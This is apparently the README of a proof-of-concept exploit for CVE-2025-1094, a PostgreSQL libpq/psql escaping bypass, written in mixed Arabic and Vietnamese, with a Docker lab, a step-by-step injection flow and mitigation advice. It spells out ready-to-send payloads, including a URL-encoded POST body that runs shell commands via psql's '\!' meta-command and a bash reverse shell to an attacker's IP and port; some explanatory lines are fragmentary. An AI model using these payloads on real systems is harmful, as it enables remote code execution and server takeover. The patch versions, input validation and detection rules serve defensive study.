
إثبات مفهوم استغلال لـ CVE-2025-1094، وهو حقن SQL في PostgreSQL psql يؤدي إلى RCE عبر تجاوز هروب libpq. يتضمن بيئة Docker ونص استغلال وإرشادات التخفيف.
Proof of Concept لثغرة SQL Injection خطيرة في عميل PostgreSQL libpq وأداة psql
CVE-2025-1094 هي ثغرة خطيرة تقع في مكتبة العميل libpq وأداة سطر الأوامر psql الخاصة بـ PostgreSQL. تسمح هذه الثغرة للمهاجم بتنفيذ SQL Injection والارتقاء إلى تنفيذ الأكواد عن بُعد (Remote Code Execution - RCE) حتى عندما يستخدم التطبيق دوال تهريب السلاسل القياسية مثل PQescapeLiteral.
ينشأ الخطأ من عدم التطابق في معالجة سلاسل البايتات متعددة البايت (multibyte) غير الصالحة (مثل UTF-8) بين مكتبة تهريب السلاسل ومُحلّل psql.
1. تجاوز التهريب (Bypass Escaping)
PQescapeLiteral بـ«بايت جديد» (مثل 0xC0)') المرافقة له حرفًا واحدًا2. تنفيذ الأكواد عن بُعد (RCE) عبر الأوامر الفوقية (Meta-commands)
\! الخاص بـ psqlتم تنظيم المشروع لمحاكاة بيئة عملية عند استدعاء دالة C الخاصة بـ libpq:
.
├── docker-compose.yml # Khởi động PostgreSQL + Web App
├── exolit.py # Exploit script - Tấn công từ bên ngoài
├── README.md # Tài liệu này
└── app/
├── app.py # Flask Web App - Tiếp nhận input user
├── Dockerfile # Build image chứa vulnerable code
└── init_db.sql # Khởi tạo database
/search\!hax\xc0'; \! id; #
| المكوّن | القيمة | المعنى |
|---|---|---|
| إدخال البيانات | hax | بيانات عادية طبيعية |
| بايت جديد | \xc0 | بايت UTF-8 غير صالح - يتجاوز التهريب (bypass escaping) |
| علامة الاقتباس | ' | علامة اقتباس مفردة «غير مرئية» - تتسلل عبر الفلتر |
| إنهاء SQL | ; | إنهاء جملة SQL الحالية |
| أمر فوقي | \! | أمر خاص بـ psql - يخرج إلى Shell نظام التشغيل |
| أمر Shell | id | الأمر المطلوب تنفيذه (يمكن استبداله بـ reverse shell) |
| تعليق | # | علامة تعليق SQL - تعطيل الجزء الزائد |
1. Input user: hax\xc0'; \! id; #
↓
2. PQescapeLiteral() không nhận ra \xc0 + ' là tấn công
↓
3. Chuỗi được gửi tới psql: hax\xc0'; \! id; #
↓
4. psql phân tích: đoạn \xc0 được coi là kết thúc chuỗi
↓
5. Meta-command \! được kích hoạt
↓
6. Lệnh shell id được thực thi với quyền của container
docker-compose up -d
docker-compose ps
تأكد من أن PostgreSQL وتطبيق Flask يعملان.
python exolit.py
النتيجة المتوقعة: سيتم عرض معلومات uid=0(root) التي تم الحصول عليها من الخادم
docker-compose down
أرسل طلبًا POST إلى /search مع النص (body) التالي:
name=hax%c0%27;+\!+id+;+%23
%c0 = \xc0 (بايت UTF-8 غير صالح)%27 = ' (علامة اقتباس مفردة)%23 = # (علامة الهاش)+ = مسافة (space)hax%c0%27;+\!+bash+-c+"bash+-i+>%26+/dev/tcp/<ip-hacker>/<port-hacker>+0>%261"+;+%23
ملاحظة: استبدل <ip-hacker> و<port-hacker> بعنوان IP والمنفذ (port) الخاص بجهاز المهاجم
قم بترقية PostgreSQL إلى الإصدارات التي تم إصلاح الثغرة فيها:
| Version | الإصدار الآمن |
|---|---|
| 17.x | ≥ 17.3 |
| 16.x | ≥ 16.7 |
| 15.x | ≥ 15.11 |
| 14.x | ≥ 14.16 |
| 13.x | ≥ 13.19 |
تحقق دائمًا من أن بيانات الإدخال هي UTF-8 صالحة قبل معالجتها:
def validate_utf8(data):
try:
data.encode('utf-8').decode('utf-8')
return True
except UnicodeDecodeError:
return False
في برمجة التطبيقات، استخدم مكتبات برامج التشغيل (Driver) الرسمية:
# ❌ KHÔNG: Sử dụng subprocess + psql
subprocess.run(['psql', '-c', user_input])
# ✅ CÓ: Sử dụng parameterized queries với psycopg2
import psycopg2
conn = psycopg2.connect("...")
cursor = conn.cursor()
cursor.execute("SELECT * FROM users WHERE name = %s", (user_input,))
rootrootقم بإعداد قواعد (rules) لاكتشاف الأنماط التالية:
- Byte 0xC0, 0xC1 trong request body
- Meta-command `\!` trong user input
- Chuỗi như `; \!` hoặc `' \!`
رابط إلى ملف الكود المصدري (قبل تطبيق التصحيح) يمكنك الاطلاع على الملف src/interfaces/libpq/fe-exec.c في الإصدار 17.2 (الإصدار الذي لا يزال يحوي الثغرة):
الاطلاع على «التصحيح» (The Patch) - الأهم لاختبار الصندوق الأبيض (White-box) لفهم سبب حدوث الخطأ وكيفية إصلاحه، أفضل طريقة هي الاطلاع على Commit Diff (التغييرات بين النسخة المعيبة والنسخة المُصححة).
مقال تحليل الثغرة: https://www.rapid7.com/blog/post/2025/02/13/cve-2025-1094-postgresql-psql-sql-injection-fixed/